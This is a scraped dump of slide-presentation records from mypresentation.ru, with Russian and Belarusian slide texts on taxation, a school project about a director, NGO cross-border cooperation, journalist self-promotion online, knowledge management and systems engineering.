"image": "https://mypresentation.ru/documents/0cb35c52dd8c378b2a04ef9ad87613db/img7.jpg",
"description": "В России система налогообложения многими рассматривается как несправедливая и неодинаковая для всех. Случаи уклонения от налогов в России становится все больше. Для устранения этого разработаны достаточно сложные схемы, в реализации которых В России система налогообложения многими рассматривается как несправедливая и неодинаковая для всех. Случаи уклонения от налогов в России становится все больше. Для устранения этого разработаны достаточно сложные схемы, в реализации которых принимают участие банки и государственные организации."
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/0cb35c52dd8c378b2a04ef9ad87613db/img8.jpg",
"description": "Можно выделить несколько основных принципов, соблюдение которых налогоплательщиками необходимо: 1.Знание налогов — точное знание текущего налогового законодательства, его дальнейшего развития; понимание того, какие положительные или негативные стороны оно имеет для предприятия;"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/0cb35c52dd8c378b2a04ef9ad87613db/img9.jpg",
"description": "2. Соблюдение налоговых законов — своевременная и четкая подготовка налоговых деклараций, отчетов, уведомлений и других документов, полная уплата всех причитающихся налоговых платежей; 2. Соблюдение налоговых законов — своевременная и четкая подготовка налоговых деклараций, отчетов, уведомлений и других документов, полная уплата всех причитающихся налоговых платежей;"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/0cb35c52dd8c378b2a04ef9ad87613db/img10.jpg",
"description": "3. Представление в налоговых органах — отправка налоговых деклараций, отчетов, уведомлений и других документов в налоговые органы, оказание помощи налоговым органам во время налоговых проверок и на других этапах соблюдения налоговых законов; переговоры с налоговыми и другими органами по вопросам нарушения налогового законодательства, снижения налогов и списания налоговой задолженности; представление предприятия в судебных органах по делам о налоговых правонарушениях; 3. Представление в налоговых органах — отправка налоговых деклараций, отчетов, уведомлений и других документов в налоговые органы, оказание помощи налоговым органам во время налоговых проверок и на других этапах соблюдения налоговых законов; переговоры с налоговыми и другими органами по вопросам нарушения налогового законодательства, снижения налогов и списания налоговой задолженности; представление предприятия в судебных органах по делам о налоговых правонарушениях;"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/0cb35c52dd8c378b2a04ef9ad87613db/img11.jpg",
"description": "4. Налоговая оптимизация — планирование и управление хозяйственными операциями для достижения наиболее выгодной налоговой позиции в стратегической перспективе. 4. Налоговая оптимизация — планирование и управление хозяйственными операциями для достижения наиболее выгодной налоговой позиции в стратегической перспективе."
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/0cb35c52dd8c378b2a04ef9ad87613db/img12.jpg",
"description": "Задачи: Достижение минимально возможной справедливой налоговой нагрузки, т.е. налоговое бремя не должно стать препятствием экономическому росту, что особенно касается сферы оказания услуг. Усовершенствование системы распределения налоговых доходов между всеми уровнями бюджетной системы."
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/0cb35c52dd8c378b2a04ef9ad87613db/img13.jpg",
"description": "3. Совершенствование существующей системы взимания отдельных налогов. 3. Совершенствование существующей системы взимания отдельных налогов. 4. Улучшение системы налогового контроля и изменение системы налоговой ответственности. 5. Требует совершенствования и система налоговой ответственности, так как судебный порядок взыскания санкций приводит к огромному объему судебных дел."
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/0cb35c52dd8c378b2a04ef9ad87613db/img14.jpg",
"description": "Основные задачи развития современной российской налоговой системы: поддержка российских товаропроизводителей путем создания благоприятных налоговых условий для инвестиций и повышение их конкурентоспособности как на внутреннем так и на мировом рынках; совершенствование принципов федерализма, развитие в стране муниципальных налоговых систем; обеспечение льготного налогового режима для привлекаемых иностранных капиталов; в результате решения вышеперечисленных задач - ускорение процесса интеграции российской экономики в мировую."
}
] |
https://mypresentation.ru/presentation/99650 | Команда Команда 2-а класса МОУ «Гимназия г.Называевска» «Почемучки» Руководитель: Кокоткина Ирина Анат | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/b320adef2ee4fa8cb6c73693ad6eb3d0/img0.jpg",
"description": "Команда Команда 2-а класса МОУ «Гимназия г.Называевска» «Почемучки» Руководитель: Кокоткина Ирина Анатольевна"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/b320adef2ee4fa8cb6c73693ad6eb3d0/img1.jpg",
"description": "Команда «ПОЧЕМУЧКИ»"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/b320adef2ee4fa8cb6c73693ad6eb3d0/img2.jpg",
"description": "Команда Команда 2-а класса МОУ «Гимназия г.Называевска» «Почемучки» Руководитель: Кокоткина Ирина Анат, слайд №3"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/b320adef2ee4fa8cb6c73693ad6eb3d0/img3.jpg",
"description": "Объект: Объект: УЧИТЕЛЬ"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/b320adef2ee4fa8cb6c73693ad6eb3d0/img4.jpg",
"description": "Команда Команда 2-а класса МОУ «Гимназия г.Называевска» «Почемучки» Руководитель: Кокоткина Ирина Анат, слайд №5"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/b320adef2ee4fa8cb6c73693ad6eb3d0/img5.jpg",
"description": "Директором становятся не сразу, Директором становятся не сразу, сначала было детство…"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/b320adef2ee4fa8cb6c73693ad6eb3d0/img6.jpg",
"description": "Чем занимались в Чем занимались в свободное время? В свободное время в детстве любила читать, читала даже в темноте тайком от родителей. Это увлечение осталось любимым и до сих пор."
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/b320adef2ee4fa8cb6c73693ad6eb3d0/img7.jpg",
"description": "Мой друг детства – Саша Лукин"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/b320adef2ee4fa8cb6c73693ad6eb3d0/img8.jpg",
"description": "Подруги"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/b320adef2ee4fa8cb6c73693ad6eb3d0/img9.jpg",
"description": "Команда Команда 2-а класса МОУ «Гимназия г.Называевска» «Почемучки» Руководитель: Кокоткина Ирина Анат, слайд №10"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/b320adef2ee4fa8cb6c73693ad6eb3d0/img10.jpg",
"description": "Команда Команда 2-а класса МОУ «Гимназия г.Называевска» «Почемучки» Руководитель: Кокоткина Ирина Анат, слайд №11"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/b320adef2ee4fa8cb6c73693ad6eb3d0/img11.jpg",
"description": "Команда Команда 2-а класса МОУ «Гимназия г.Называевска» «Почемучки» Руководитель: Кокоткина Ирина Анат, слайд №12"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/b320adef2ee4fa8cb6c73693ad6eb3d0/img12.jpg",
"description": "Команда Команда 2-а класса МОУ «Гимназия г.Называевска» «Почемучки» Руководитель: Кокоткина Ирина Анат, слайд №13"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/b320adef2ee4fa8cb6c73693ad6eb3d0/img13.jpg",
"description": "Команда Команда 2-а класса МОУ «Гимназия г.Называевска» «Почемучки» Руководитель: Кокоткина Ирина Анат, слайд №14"
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/b320adef2ee4fa8cb6c73693ad6eb3d0/img14.jpg",
"description": "Всё когда-то было впервые…"
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/b320adef2ee4fa8cb6c73693ad6eb3d0/img15.jpg",
"description": "Команда Команда 2-а класса МОУ «Гимназия г.Называевска» «Почемучки» Руководитель: Кокоткина Ирина Анат, слайд №16"
},
{
"slide_number": "17",
"image": "https://mypresentation.ru/documents/b320adef2ee4fa8cb6c73693ad6eb3d0/img16.jpg",
"description": "Первый раз директор Зоя Ивановна Ширшова (Баранова) выпускает 10 класс"
},
{
"slide_number": "18",
"image": "https://mypresentation.ru/documents/b320adef2ee4fa8cb6c73693ad6eb3d0/img17.jpg",
"description": "В чём секрет Вашей энергичности?"
},
{
"slide_number": "19",
"image": "https://mypresentation.ru/documents/b320adef2ee4fa8cb6c73693ad6eb3d0/img18.jpg",
"description": "Любимое животное?"
},
{
"slide_number": "20",
"image": "https://mypresentation.ru/documents/b320adef2ee4fa8cb6c73693ad6eb3d0/img19.jpg",
"description": "Команда Команда 2-а класса МОУ «Гимназия г.Называевска» «Почемучки» Руководитель: Кокоткина Ирина Анат, слайд №20"
},
{
"slide_number": "21",
"image": "https://mypresentation.ru/documents/b320adef2ee4fa8cb6c73693ad6eb3d0/img20.jpg",
"description": "Москва"
},
{
"slide_number": "22",
"image": "https://mypresentation.ru/documents/b320adef2ee4fa8cb6c73693ad6eb3d0/img21.jpg",
"description": "Железноводск"
},
{
"slide_number": "23",
"image": "https://mypresentation.ru/documents/b320adef2ee4fa8cb6c73693ad6eb3d0/img22.jpg",
"description": "Команда Команда 2-а класса МОУ «Гимназия г.Называевска» «Почемучки» Руководитель: Кокоткина Ирина Анат, слайд №23"
},
{
"slide_number": "24",
"image": "https://mypresentation.ru/documents/b320adef2ee4fa8cb6c73693ad6eb3d0/img23.jpg",
"description": "Херсон"
},
{
"slide_number": "25",
"image": "https://mypresentation.ru/documents/b320adef2ee4fa8cb6c73693ad6eb3d0/img24.jpg",
"description": "Анапа"
},
{
"slide_number": "26",
"image": "https://mypresentation.ru/documents/b320adef2ee4fa8cb6c73693ad6eb3d0/img25.jpg",
"description": "Команда Команда 2-а класса МОУ «Гимназия г.Называевска» «Почемучки» Руководитель: Кокоткина Ирина Анат, слайд №26"
},
{
"slide_number": "27",
"image": "https://mypresentation.ru/documents/b320adef2ee4fa8cb6c73693ad6eb3d0/img26.jpg",
"description": "Каким, по-вашему мнению, должен быть учитель «будущего»?"
},
{
"slide_number": "28",
"image": "https://mypresentation.ru/documents/b320adef2ee4fa8cb6c73693ad6eb3d0/img27.jpg",
"description": "Команда Команда 2-а класса МОУ «Гимназия г.Называевска» «Почемучки» Руководитель: Кокоткина Ирина Анат, слайд №28"
},
{
"slide_number": "29",
"image": "https://mypresentation.ru/documents/b320adef2ee4fa8cb6c73693ad6eb3d0/img28.jpg",
"description": "Команда Команда 2-а класса МОУ «Гимназия г.Называевска» «Почемучки» Руководитель: Кокоткина Ирина Анат, слайд №29"
}
] |
https://mypresentation.ru/presentation/99651 | Досвед удзелу грамадскіх аб’яднанняў Гродна ў развіцці супрацоўніцтва ў межах Еўрарэгіёну “Нёман” (2001-2010) Вітаўт Руднік, грамадскае аб’яднанне “Цэнтр “Трэці сектар” | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/42bd5a252ffb39aae33aae1067b9ce02/img0.jpg",
"description": "Досвед удзелу грамадскіх аб’яднанняў Гродна ў развіцці супрацоўніцтва ў межах Еўрарэгіёну “Нёман” (2001-2010) Вітаўт Руднік, грамадскае аб’яднанне “Цэнтр “Трэці сектар”"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/42bd5a252ffb39aae33aae1067b9ce02/img1.jpg",
"description": "Грамадскае аб’яднанне «Цэнтр «Трэці сектар» Праграма «Інфарэгіён «Нёман» (2001-2010)"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/42bd5a252ffb39aae33aae1067b9ce02/img2.jpg",
"description": "Грамадскае аб’яднанне «Цэнтр «Трэці сектар» Праграма «Інфарэгіён «Нёман» (2001-2010) ПоЛіБелКа - міжнародныя маладзёжныя сустрэчы для актывістаў грамадскіх арганізацый Еўрарэгіёну “Нёман” (www.polibelka.org)"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/42bd5a252ffb39aae33aae1067b9ce02/img3.jpg",
"description": "Культура і спадчына Сумесныя выдавецкія праекты ў межах Еўрарэгіёна “Нёман”"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/42bd5a252ffb39aae33aae1067b9ce02/img4.jpg",
"description": "Зялёныя лёгкія Еўропы Захаванне культурнай, прыроднай і гістарычнай спадчыны памежных рэгіёнаў Беларусі, Польшчы і Украіны. Праект быў рэалізаваны на працягу 2007-2008 гг. у супрацоўніцтве з Фондам “Зялёныя лёгкія Польшчы”. Канцэпцыя і матэрыялы праекта знаходзяцца па Адрасе (http://www.fzpp.pl/76.html)"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/42bd5a252ffb39aae33aae1067b9ce02/img5.jpg",
"description": "Міжнародная Летняя Школа менеджэраў культуры і асветы (Супрасль, Польшча, 19-23 жніўня 2010 г.) Арганізатары: – грамадскае аб’яднанне «Цэнтр «Трэці сектар», Гродна; - Таварыства «Амікус» (Беласток, Польшча). Падтрымка праекта ажыццяўлялася Фондам Еўразія за кошт сродкаў, прадстаўленых Міністэрствам замежных справаў і па справах Садружнасці Каралеўства Вялікабрытанія і Агенцтвам ЗША па міжнародным развіцці (USAID)."
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/42bd5a252ffb39aae33aae1067b9ce02/img6.jpg",
"description": "Міжнародная Летняя Школа менеджэраў культуры і асветы (Супрасль, Польшча, 19-23 жніўня 2010 г.) Мэта Школы: атрыманне ведаў і ўменняў, неабходных для распрацоўкі і рэалізацыі транспамежных праектаў у галіне культуры і асветы. Удзельнікі: прадстаўнікі дзяржаўных і грамадскіх арганізацый з усіх частак Еўрарэгіёну “Нёман”"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/42bd5a252ffb39aae33aae1067b9ce02/img7.jpg",
"description": "Міжнародная Летняя Школа менеджэраў культуры і асветы (Супрасль, Польшча, 19-23 жніўня 2010 г.) Абмен досьведам працы Наведванне дзяржаўных і недзяржаўных арганізацый, якія рэалізуюць транспамежныя праекты Знаёмства з магчымасцямі ўдзелу ў конкурсах трансгранічных праектаў"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/42bd5a252ffb39aae33aae1067b9ce02/img8.jpg",
"description": "Міжнародная Летняя Школа менеджэраў культуры і асветы (Супрасль, Польшча, 19-23 жніўня 2010 г.) Навучанне распрацоўцы транспамежных праектаў"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/42bd5a252ffb39aae33aae1067b9ce02/img9.jpg",
"description": "Міжнародная Летняя Школа менеджэраў культуры і асветы (Супрасль, Польшча, 19-23 жніўня 2010 г.) Распрацаваны 4 трансгранічныя праекты. Два з іх знаходзяцца зараз на стадыі разгляду."
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/42bd5a252ffb39aae33aae1067b9ce02/img10.jpg",
"description": "Міжнародная Летняя Школа менеджэраў культуры і асветы (Супрасль, Польшча, 19-23 жніўня 2010 г.) Створаны блог аніматараў культуры еўрарэгіёна “Нёман” (polibelka.blogspot.com)"
}
] |
https://mypresentation.ru/presentation/99652 | Интернет для самопрезентации журналиста Андрей Яницкий, "Левый берег" (LB.ua) | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/6f0381f46d4fc0b5f3c3cbade35b4578/img0.jpg",
"description": "Интернет для самопрезентации журналиста Андрей Яницкий, \"Левый берег\" (LB.ua)"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/6f0381f46d4fc0b5f3c3cbade35b4578/img1.jpg",
"description": "1. СБОРНИК ЛУЧШИХ МАТЕРИАЛОВ. 2. РАСПРОСТРАНЕНИЕ ЛУЧШИХ ТЕКСТОВ. 3. ПОЗИЦИОНИРОВАНИЕ СЕБЯ КАК ЭКСПЕРТА В ОТДЕЛЬНОЙ ТЕМЕ. 4. ДЕМОНСТРАЦИЯ ВОЗМОЖНОСТЕЙ (СТИЛЬ, АНАЛИТИКА, ЮМОР). 5. ПРОФЕССИОНАЛЬНЫЕ СВЯЗИ."
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/6f0381f46d4fc0b5f3c3cbade35b4578/img2.jpg",
"description": "1. СБОРНИК..."
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/6f0381f46d4fc0b5f3c3cbade35b4578/img3.jpg",
"description": "Интернет для самопрезентации журналиста Андрей Яницкий, \"Левый берег\" (LB.ua), слайд №4"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/6f0381f46d4fc0b5f3c3cbade35b4578/img4.jpg",
"description": "2. РАСПРОСТРАНЕНИЕ... Блоги и социальные сети. Тематические сайты, форумы и сообщества. Заинтересованные лица (собеседники, отраслевые пиарщики и т.д.)."
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/6f0381f46d4fc0b5f3c3cbade35b4578/img5.jpg",
"description": "Интернет для самопрезентации журналиста Андрей Яницкий, \"Левый берег\" (LB.ua), слайд №6"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/6f0381f46d4fc0b5f3c3cbade35b4578/img6.jpg",
"description": "Интернет для самопрезентации журналиста Андрей Яницкий, \"Левый берег\" (LB.ua), слайд №7"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/6f0381f46d4fc0b5f3c3cbade35b4578/img7.jpg",
"description": "3. ПОЗИЦИОНИРОВАНИЕ... Выберите нишу. Говорите об этом. Пишите об этом больше (даже бесплатно). Давайте комментарии и советы."
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/6f0381f46d4fc0b5f3c3cbade35b4578/img8.jpg",
"description": "Интернет для самопрезентации журналиста Андрей Яницкий, \"Левый берег\" (LB.ua), слайд №9"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/6f0381f46d4fc0b5f3c3cbade35b4578/img9.jpg",
"description": "4. ДЕМОНСТРАЦИЯ... Ваш неповторяемый литературный стиль. Ваша эксклюзивная аналитика. Ваш искрометный юмор."
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/6f0381f46d4fc0b5f3c3cbade35b4578/img10.jpg",
"description": "Интернет для самопрезентации журналиста Андрей Яницкий, \"Левый берег\" (LB.ua), слайд №11"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/6f0381f46d4fc0b5f3c3cbade35b4578/img11.jpg",
"description": "Интернет для самопрезентации журналиста Андрей Яницкий, \"Левый берег\" (LB.ua), слайд №12"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/6f0381f46d4fc0b5f3c3cbade35b4578/img12.jpg",
"description": "5. ПРОФЕССИОНАЛЬНЫЕ СВЯЗИ... Сообщества профессионалов. Личные блоги главных редакторов и талантливых журналистов. Отраслевые сайты."
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/6f0381f46d4fc0b5f3c3cbade35b4578/img13.jpg",
"description": "Спасибо за внимание! 050 6959537 [email protected] Indrih in Facebook, Skype, Twitter, LJ"
}
] |
https://mypresentation.ru/presentation/99653 | Социальные сети как инструмент управления знаниями Тихомирова Елена Генеральный директор компании Центр eLearning Основатель сооб | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/612c26f50a2e26b0b150699d47015ec0/img0.jpg",
"description": "Социальные сети как инструмент управления знаниями Тихомирова Елена Генеральный директор компании Центр eLearning Основатель сообщества eLearning PRO"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/612c26f50a2e26b0b150699d47015ec0/img1.jpg",
"description": "Управление знаниями и профессиональные сообщества Внутри и снаружи Для развития рынка и развития бизнеса Открытость новому Единое сообщество для себя и тех, кто вокруг"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/612c26f50a2e26b0b150699d47015ec0/img2.jpg",
"description": "Ассоциация e-Learning специалистов Почти 1300 участников 2-3 вебинара в неделю Более 1000 тем обсуждения"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/612c26f50a2e26b0b150699d47015ec0/img3.jpg",
"description": "Социальные сети как инструмент управления знаниями Тихомирова Елена Генеральный директор компании Центр eLearning Основатель сооб, слайд №4"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/612c26f50a2e26b0b150699d47015ec0/img4.jpg",
"description": "Социальные сети как инструмент управления знаниями Тихомирова Елена Генеральный директор компании Центр eLearning Основатель сооб, слайд №5"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/612c26f50a2e26b0b150699d47015ec0/img5.jpg",
"description": "Социальные сети как инструмент управления знаниями Тихомирова Елена Генеральный директор компании Центр eLearning Основатель сооб, слайд №6"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/612c26f50a2e26b0b150699d47015ec0/img6.jpg",
"description": "Социальные сети как инструмент управления знаниями Тихомирова Елена Генеральный директор компании Центр eLearning Основатель сооб, слайд №7"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/612c26f50a2e26b0b150699d47015ec0/img7.jpg",
"description": "Социальные сети как инструмент управления знаниями Тихомирова Елена Генеральный директор компании Центр eLearning Основатель сооб, слайд №8"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/612c26f50a2e26b0b150699d47015ec0/img8.jpg",
"description": "Социальные сети как инструмент управления знаниями Тихомирова Елена Генеральный директор компании Центр eLearning Основатель сооб, слайд №9"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/612c26f50a2e26b0b150699d47015ec0/img9.jpg",
"description": "Социальные сети как инструмент управления знаниями Тихомирова Елена Генеральный директор компании Центр eLearning Основатель сооб, слайд №10"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/612c26f50a2e26b0b150699d47015ec0/img10.jpg",
"description": "Социальные сети как инструмент управления знаниями Тихомирова Елена Генеральный директор компании Центр eLearning Основатель сооб, слайд №11"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/612c26f50a2e26b0b150699d47015ec0/img11.jpg",
"description": "Социальные сети как инструмент управления знаниями Тихомирова Елена Генеральный директор компании Центр eLearning Основатель сооб, слайд №12"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/612c26f50a2e26b0b150699d47015ec0/img12.jpg",
"description": "Социальные сети как инструмент управления знаниями Тихомирова Елена Генеральный директор компании Центр eLearning Основатель сооб, слайд №13"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/612c26f50a2e26b0b150699d47015ec0/img13.jpg",
"description": "Социальные сети как инструмент управления знаниями Тихомирова Елена Генеральный директор компании Центр eLearning Основатель сооб, слайд №14"
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/612c26f50a2e26b0b150699d47015ec0/img14.jpg",
"description": "Социальные сети как инструмент управления знаниями Тихомирова Елена Генеральный директор компании Центр eLearning Основатель сооб, слайд №15"
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/612c26f50a2e26b0b150699d47015ec0/img15.jpg",
"description": "Социальные сети как инструмент управления знаниями Тихомирова Елена Генеральный директор компании Центр eLearning Основатель сооб, слайд №16"
},
{
"slide_number": "17",
"image": "https://mypresentation.ru/documents/612c26f50a2e26b0b150699d47015ec0/img16.jpg",
"description": "Социальные сети как инструмент управления знаниями Тихомирова Елена Генеральный директор компании Центр eLearning Основатель сооб, слайд №17"
},
{
"slide_number": "18",
"image": "https://mypresentation.ru/documents/612c26f50a2e26b0b150699d47015ec0/img17.jpg",
"description": "Всегда рада общению! Тихомирова Елена [email protected] +7 916 904 51 35 Twitter: elenatikh Blog: elearningtime.blogspot.com Elearningpro.ru"
}
] |
https://mypresentation.ru/presentation/99654 | Системная инженерия: вызовы времени По результатам конференции RuSEC2010 Акоев Марк Анатольевич [email protected] Кафедра Программных средств | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img0.jpg",
"description": "Системная инженерия: вызовы времени По результатам конференции RuSEC2010 Акоев Марк Анатольевич [email protected] Кафедра Программных средств и систем ФУО УрФУ 7 октября 2010 г"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img1.jpg",
"description": "Всероссийский Научно - исследовательский институт по эксплуатации атомных электростанций 23-24 сентября 2010 г."
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img2.jpg",
"description": "Организаторы"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img3.jpg",
"description": "Материалы конференции http://community.livejournal.com/incose_ru/18795.html"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img4.jpg",
"description": "Что такое Systems Engineering?"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img5.jpg",
"description": "Новое – хорошо забытое старое"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img6.jpg",
"description": "системная инженерия: это выгодно Системная инженерия -- это способ уменьшить затраты за счет исключения переделок (исправлений разных типов ошибок). Уменьшает коэффициент экспоненты убытков на масштабе, поэтому зависит от масштаба проекта. Уменьшение стоимости для Мелких проектов на 18% (при оптимальной доле работ системной инженерии 5%) Средних проектов на 38% (%20) Крупных проектов на 63% (33%) Очень крупных проектов на 92% (37%)"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img7.jpg",
"description": "Главные идеи системной инженерии Общий междисциплинарный язык, позволяющий договориться участникам проекта Покупка информации, уменьшающей проектные риски. Исправление ошибок на как можно более ранней стадии, когда это относительно дешево – идея жизненного цикла."
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img8.jpg",
"description": "Стандарты системной инженерии Международные стандарты (базовый стандарт -- ISO 15288 «Системная инженерия - процессы жизненного цикла систем») Стандарты закупок Минобороны США, NATO, европейских военных Стандарты профессиональных организаций (IEEE). Используются в крупных проектах: военных, строительных (туннели, мосты), атомной энергетике (ITER)"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img9.jpg",
"description": "Связь системной и программной инженерии ISO 12207 => ISO 15288"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img10.jpg",
"description": "Подход системной инженерии к управлению жизненным циклом Системная инженерия – это гармонизация подходов: системного (назначение, границы и элементы системы) процессного (деятельность и акторы) архитектурного (методы описания и их группировка) жизненного цикла (4D-эволюция системы) оценки зрелости процессов (стадии ЖЦ процесса) оценки специальных свойств системы (процессные выписки) Подход (approach) - способ сущностного описания. Практики зависят от сущностного описания."
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img11.jpg",
"description": "V-диаграмма"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img12.jpg",
"description": "Моделеориентированность Зачем нужна моделеориентированность: уточнение представления системы для разных целей связь разных представлений о системе по клику мышки (или составление «сводного отчета» по разным базам данных), за счет чего Это сверхвыгодно: по оценке NIST для больших проектов выигрыш до 30% от стоимости системы Моделеориентированность противопоставляется документоориентированности. Дело не в электронной форме документа, а в другом отношении к их содержанию (так, база данных – не документ, а документы для нее либо «первичка», либо «выписки»). Стандарты интеграции данных (прежде всего – ISO 15926)."
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img13.jpg",
"description": "Структурированные данные – основа для моделеориентированного подхода"
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img14.jpg",
"description": "Проблемы системной инженерии RuSEC, Москва, 23-24 сентября 2010 Анатолий Левенчук президент TechInvestLab.ru президент Русского отделения INCOSE [email protected] Version 0.3 (27-августа-2010)"
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img15.jpg",
"description": "Проблемы из текущего Видения СИ 2020 от INCOSE Пять областей внимания: Глобальная среда системной инженерии Системы и их природа Практики системной инженерии Модели и моделе-ориентированная системная инженерия Образование по системной инженерии Применим принцип «исправлять как можно раньше в жизненном цикле» : Нужно обновлять!"
},
{
"slide_number": "17",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img16.jpg",
"description": "INCOSE / RuSEC 2010 Dr. Asmus Pandikow INCOSE Board of Directors Member Board Co-Chair Region III Representative September 24, 2010"
},
{
"slide_number": "18",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img17.jpg",
"description": "Системная инженерия: вызовы времени По результатам конференции RuSEC2010 Акоев Марк Анатольевич [email protected] Кафедра Программных средств, слайд №18"
},
{
"slide_number": "19",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img18.jpg",
"description": "Темы конференции Кто использует методы системной инженерии в России? Образование Моделеориентированные методы системной инженерии Информационный обмен на этапах ЖЦ Онтологии. Пример безопасность."
},
{
"slide_number": "20",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img19.jpg",
"description": "RuSEC 2010: рецепт Конференции"
},
{
"slide_number": "21",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img20.jpg",
"description": "Кто использует методы системной инженерии в России? Атомная промышленность Судостроение Энергетика"
},
{
"slide_number": "22",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img21.jpg",
"description": "Образование Поддержка Минатома в: переводе и издании учебников, руководств; учебных курсов. Виктор Константинович Батоврин (МИРЭА, МИФИ и ГУ ВЭШ)"
},
{
"slide_number": "23",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img22.jpg",
"description": "Подготовка по системной инженерии в условиях глобализации В.К. Батоврин Зав. кафедрой информационных систем МИРЭА"
},
{
"slide_number": "24",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img23.jpg",
